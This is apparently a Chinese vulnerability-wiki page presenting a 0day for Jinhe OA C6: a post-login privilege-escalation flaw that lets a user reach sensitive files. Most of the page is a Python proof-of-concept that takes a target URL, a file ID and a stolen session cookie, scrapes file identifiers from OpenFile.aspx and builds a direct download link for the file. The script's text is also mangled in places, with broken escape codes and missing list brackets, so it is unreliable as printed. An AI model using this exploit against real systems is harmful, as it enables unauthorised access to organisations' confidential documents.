Loading
0

金和OA C6 后台越权敏感文件遍历漏洞 0day/zh-cn

PWNWIK.COM

,

漏洞影响

金和OA C6

POC

⚠️️

POC只检测是否存在漏洞,且漏洞存在于后台需要登录运行后访问链接即可下载文件

import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mVersion: 金和OA C6                                                  \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url, file_id, cookie):
    vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie":cookie
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03336mo 正在请求 Url: {}\0330m".format(vuln_url))
        if "strFilePath =" in response.text and response.status_code == 200:
            strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)0
            strFileType = strFilePath-3:
            strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)0
            strId = re.findall(r"var strId = '(.*?)';", response.text)0
            sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)0
            if strFilePath != "":
                print("\03336mo 目标 {} 存在漏洞, 获取文件信息:\no 文件路径:{}\no 文件类型:{}\no 文件ID code:{}\no 文件编号:{}\0330m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
                print("\03332mo 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
            else:
                print("\03331mx 目标 {} 文件不存在     \0330m".format(target_url))
        else:
            print("\03331mx 目标 {} 不存在漏洞     \0330m".format(target_url))

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    file_id = str(input("\03335mFile_id >>> \0330m"))
    cookie = str(input("\03335mCookie  >>> \0330m"))
    POC_1(target_url, file_id, cookie)

免费、自由、人人可编辑的漏洞库